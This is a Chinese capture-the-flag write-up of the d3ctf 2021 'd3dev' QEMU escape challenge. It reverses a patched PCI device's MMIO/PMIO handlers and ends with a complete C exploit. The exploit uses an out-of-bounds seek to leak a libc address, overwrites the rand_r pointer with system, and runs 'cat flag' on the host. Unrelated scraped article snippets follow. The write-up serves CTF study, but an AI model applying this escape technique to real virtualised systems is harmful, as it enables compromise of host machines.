CTF-pwn-虚拟化-【d3ctf-2021-d3dev】

文章目录

  • 参考
  • 流程
  • 附件
  • 检查
  • 启动信息
  • 逆向分析
  • 漏洞
  • 查看设备配置信息
  • exp

参考

https://x1ng.top/2021/11/26/qemu-pwn/
https://bbs.kanxue.com/thread-275216.htm#msg_header_h1_0
https://xz.aliyun.com/t/6562?time__1311=n4%2BxnD0DRDBAi%3DGkDgiDlhjmYh2xuCllx7whD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-4

流程

qemu pwn题目的文件与Linux 内核题目类似,提供一个启动脚本、Linux内核、文件系统,以及一个patch过的qemu文件,运行启动脚本用题目附件给的qemu文件开启虚拟机

启动脚本文件中一般会添加一个PCI设备,在PCI中内置漏洞,也与内核题目相似,但是实现设备读写操作的代码在patch过的qemu文件中,可以在ida中搜索函数名快速定位设备读写函数

要求通过对设备的操作函数中的漏洞获得docker环境host机的shell,获取宿主机上的flag

附件

在这里插入图片描述

在这里插入图片描述

检查

在这里插入图片描述

启动信息

新建文件夹 fs
进入fs 文件夹

cpio -idv < rootfs.img的路径

将解压后的保存在当前文件夹
在这里插入图片描述

setsid /bin/cttyhack setuidgid 0 /bin/sh  #shell将以root权限执行

逆向分析

qemu文件放入IDA

  • 搜索函数名来定位相关函数
  • _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types 在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    可以看到相关的一些mmio和pmio的函数
    在这里插入图片描述

漏洞

在这里插入图片描述

在这里插入图片描述

opaque转换为结构体
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
有个tea加密问gpt的 ,将opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]的高32位和低32位加密

opaque->mmio_read_part为1,返回高32位
opaque->mmio_read_part为0,返回低32位
在这里插入图片描述
v4 = opaque->seek + (unsigned int)(addr >> 3)如果opaque->mmio_write_part为0会修改opaque->blocks[v4] = (unsigned int)val;

在这里插入图片描述
根据addr返回opaque的不同字段的值
在这里插入图片描述
addr == 8并且val <= 0x100会opaque->seek = val,addr > 8并且addr == 28会opaque->r_seed = val然后调用((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)( &opaque->r_seed, 28LL, val, *(_QWORD *)&size);否则addr不为零就opaque->key清零

  1. d3dev_mmio_write和d3dev_mmio_read能写读opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]
  2. d3dev_pmio_write能给opaque->seek赋值和调用opaque->rand_r( &opaque->r_seed)和给opaque->key清零和 opaque->memory_mode = val

查看设备配置信息

在这里插入图片描述

在这里插入图片描述

exp

//gcc -o exp exp.c -static#include <stdint.h> 
#include <fcntl.h> 
#include <sys/mman.h> 
#include <sys/io.h> 
#include <stdio.h> 
#include <unistd.h> unsigned char* mmio_mem = 0;void setup_mmio() {int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}void mmio_write(uint32_t addr, uint32_t value) {*((uint32_t*)(mmio_mem + addr)) = value;
}uint64_t mmio_read(uint64_t addr) {return *((uint32_t *)(mmio_mem + addr));
}uint32_t pmio_base = 0xc040;void setup_pmio() {iopl(3);
}void pmio_write(uint32_t addr, uint32_t value)
{outl(value, pmio_base + addr);
}uint64_t pmio_read(uint32_t addr)
{return (uint64_t)inl(pmio_base + addr);
}uint64_t encode(uint32_t high, uint32_t low) {uint32_t addr = 0xC6EF3720;for (int i = 0; i < 32; ++i) {high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));addr += 0x61C88647;}return (uint64_t)high * 0x100000000 + low;
}uint64_t decode(uint32_t high, uint32_t low) {uint32_t addr = 0x0;for (int i = 0; i < 32; ++i) {addr -= 0x61C88647;low += (((high + addr) ^ (high >> 5) ^ (16 * high)));high += ((low + addr) ^ (low >> 5) ^ (16 * low));}return (uint64_t)high * 0x100000000 + low;
}int main(int argc, char* argv[]) 
{printf("[+] Setup\n");setup_pmio();setup_mmio();printf("[+] IO\n");pmio_write(0x8, 0x100); //写 opaque->seek = 0x100mmio_write(8*1,0); // opaque->blocks[0x101]=0mmio_write(0,0);mmio_write(8*2,0); // opaque->blocks[0x102]=0mmio_write(0,0);uint64_t libcbase=0;libcbase = mmio_read(8*3);   //第一次会返回这块8字节内存的低4字节,第二次返回高4字节libcbase+= (mmio_read(8*3))<<32 ; //opaque->blocks[0x103]即rand_r函数指针 为qemu进程中的变量此时是qemu进程中的libc中的函数地址libcbase = decode(libcbase>>32, libcbase&0xffffffff) - 0x41c30;printf("[+] libcbase: 0x%lx\n",libcbase);uint64_t system = libcbase+0x4dab0;printf("[+] system: 0x%lx\n",system);uint64_t enc_system = encode(system>>32, system&0xffffffff);mmio_write(8*3,enc_system&0xffffffff);mmio_write(8*3,enc_system>>32);//opaque->blocks[0x103]往rand_r函数指针 写system函数指针pmio_write(0x8, 0);mmio_write(0,0x67616c66);pmio_write(0x1c,0x20746163);  //63 61 74 20 //会调用下面这个 //if ( addr == 28 )// {//   opaque->r_seed = val;//   key = opaque->key;//   do//     *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(//                &opaque->r_seed,//                28LL,//                val,//                *(_QWORD *)&size);//   while ( key != (uint32_t *)&opaque->rand_r );// }return 0;
} 

在这里插入图片描述

泄露libc后可以去libc-database找,也可以直接通过gdb中计算偏移

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/30643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1-函数极限与连续

1 2 平方项没有考虑到&#xff08;其正负&#xff09;

scratch编程03-反弹球

这篇文章和上一篇文章《scratch3编程02-使用克隆来编写小游戏》类似&#xff08;已经完全掌握了克隆的可以忽略这篇文章&#xff09;&#xff0c;两篇文章都使用到了克隆来编写一个小游戏&#xff0c;这篇文章与上篇文章不同的是&#xff0c;本体在进行克隆操作时&#xff0c;不…

游戏遇到攻击有什么办法能解决?

随着网络技术的飞速发展&#xff0c;游戏行业在迎来繁荣的同时&#xff0c;也面临着日益严峻的网络威胁。黑客攻击、数据泄露、DDoS攻击等安全事件频发&#xff0c;给游戏服务器带来了极大的挑战。面对愈演愈烈的网络威胁&#xff0c;寻找一个能解决游戏行业攻击问题的安全解决…

Python酷库之旅-比翼双飞情侣库(17)

目录 一、xlwt库的由来 1、背景和需求 2、项目启动 3、功能特点 4、版本兼容性 5、与其他库的关系 6、示例和应用 7、发展历史 二、xlwt库优缺点 1、优点 1-1、简单易用 1-2、功能丰富 1-3、兼容旧版Excel 1-4、社区支持 1-5、稳定性 2、缺点 2-1、不支持.xls…

在Ubuntu中创建Ruby on Rails项目并搭建数据库

新建Rails项目 先安装bundle Ruby gem依赖项工具&#xff1a; sudo apt install bundle 安装Node.js: sudo apt install nodejs 安装npm 包管理器&#xff1a; sudo apt install npm 安装yarn JavaScript包管理工具&#xff1a; sudo apt install yarn 安装webpacker: …

ARM64汇编0B - 函数调用约定

建议先看《CSAPP》的3.7节&#xff0c;讲的很细。我们这里就直接看例子来分析了。 例子 static int func(int a, int b, int c, int d, int e, int f, int g, int h, int i) {printf("%s\n", "add all");int x a b;return a b c d e f g h i; …

java环境变量配置以及“‘javac‘ 不是内部或外部命令”问题的解决方法(2024年6月姆级最新)

&#x1f600;前言 有很多小伙伴提问这个所以就单独出一个解决教程 java环境变量配置以及“‘javac’ 不是内部或外部命令”问题的解决方法&#xff08;2024年6月姆级最新&#xff09; 安装的话可以参考这个 java 安装和环境配置(2024-4月保姆级最新版) &#x1f3e0;个人主页…

工业园安全生产新保障:广东地区加强可燃气体报警器校准检测

广东&#xff0c;作为我国经济的重要引擎&#xff0c;拥有众多工业园区。 这些工业园区中&#xff0c;涉及化工、制药、机械制造等多个领域&#xff0c;每天都会产生和使用大量的可燃气体。因此&#xff0c;可燃气体报警器的安装与校准检测&#xff0c;对于保障工业园区的安全…

Python 绘制圆欠采样时的数学图形

Python 绘制圆欠采样时的数学图形 正文end_radian 190end_radian 180end_radian 170end_radian 130end_radian 120 正文 今天在绘制圆形的时候遇到了意外&#xff0c;发现了一个有意思的现象&#xff0c;这里特来记录一下。 end_radian 190 import numpy as np import…

【MySQL统计函数count详解】

MySQL统计函数count详解 1. count()概述2. count(1)和count(*)和count(列名)的区别3. count(*)的实现方式 1. count()概述 count() 是一个聚合函数&#xff0c;返回指定匹配条件的行数。开发中常用来统计表中数据&#xff0c;全部数据&#xff0c;不为null数据&#xff0c;或…

【SpringCloud】负载均衡(Spring Cloud LoadBalancer)

负载均衡 当服务流量增大时&#xff0c;通常会采用增加机器的方式进行扩容。负载均衡就是用来在多个机器或者其他资源中&#xff0c;按照一定的规则合理分配负载。其中的实现可以分成客户端负载均衡和服务端负载均衡。 服务端负载均衡 在服务端进行负载均衡的算法分配。 比…

数据丢失?别怕,EasyRecovery来帮忙!

&#x1f31f; 数据丢失&#xff1f;别怕&#xff0c;EasyRecovery来帮忙&#xff01; 嘿&#xff0c;亲爱的的朋友们&#xff01;&#x1f44b;今天我要和大家分享一款超棒的数据恢复软件——EasyRecovery&#xff01;&#x1f389;你是否曾经遇到过不小心删除了重要文件、照片…

zip文件上传到linux服务器文件大小发生变化

在传一个文件到服务器的时候&#xff0c;第一次传完看见大小不一样&#xff08;服务器中du命令查看大小796596MB&#xff09;就重传了一下&#xff0c;还是大小不一样&#xff0c;就查了下。 查了下有以下原因&#xff1a; 文件系统的不同&#xff1a; 原因&#xff1a;不同的…

windows 系统根据端口查找进程,杀死进程

在启动项目时&#xff0c;往往设置的端口被占用&#xff0c;这时需要杀死端口所占用的进程&#xff0c;然后再重启项目。 netstat -ano | findstr :8085 taskkill /F /PID 25184 杀死进程后&#xff0c;再执行命令 netstat -ano | findstr :8085 进行查看端口占用情况

STM32多功能交通灯系统:从原理到实现

一、功能说明 本交通灯系统采用先进的stm32f103c8t6微处理器为核心控制单元。系统设置东南西北四个方向各配置两位数码管&#xff0c;用以精准展示5至99秒的时间范围&#xff0c;并且允许用户根据实际需求进行灵活调整。 在信号灯配置方面&#xff0c;每个方向均配备左转、直…

SYD881X读取GATT VALUE的长度

SYD881X读取GATT VALUE的长度 现在具体遇到这样一个需要&#xff0c;机器生产后要更新profile&#xff0c;这个只能够通过升级4K来做&#xff0c;但是需要知道profile是否改变了&#xff0c;这个就要知道profile是否改变来决定是否要升级&#xff0c;这里的做法是增加一个函数&…

肩背筋膜炎怎么治疗最有效

肩背筋膜炎是一种常见的肌肉骨骼疾病&#xff0c;其症状主要包括&#xff1a;肩背区域疼痛&#xff1a;由于筋膜组织受到损伤&#xff0c;肩背部位会出现明显的疼痛&#xff0c;疼痛可能会放射到周围的其他部位&#xff0c;严重时会影响睡眠和休息。肌肉紧张和僵硬&#xff1a;…

嵌入式数据库_2.嵌入式数据库的一般架构

嵌入式数据库的架构与应用对象紧密相关&#xff0c;其架构是以内存、文件和网络等三种方式为主。 1.基于内存的数据库系统 基于内存的数据库系统中比较典型的产品是每个McObject公司的eXtremeDB嵌入式数据库&#xff0c;2013年3月推出5.0版&#xff0c;它采用内存数据结构&…

智能座舱中的HUD介绍

HUD&#xff08;Head Up Display&#xff0c;抬头显示系统&#xff09;是将车速、油耗、胎压等行车重要信息投影到前方挡风玻璃上的一套显示系统。HUD 最早应用在战斗机上&#xff0c;旨在降低飞行员低头查看仪表的频率&#xff0c;使得飞行员能在保证正常驾驶的同时&#xff0…

2002-2022年各省人口总抚养比数据(人口抽样调查)

2002-2022年各省人口总抚养比数据&#xff08;人口抽样调查&#xff09; 1、时间&#xff1a;2002-2022年 2、指标&#xff1a;总抚养比 3、来源&#xff1a;国家统计局、统计年鉴 4、范围&#xff1a;31省&#xff0c; 5、缺失情况&#xff1a;无缺失&#xff0c;其中201…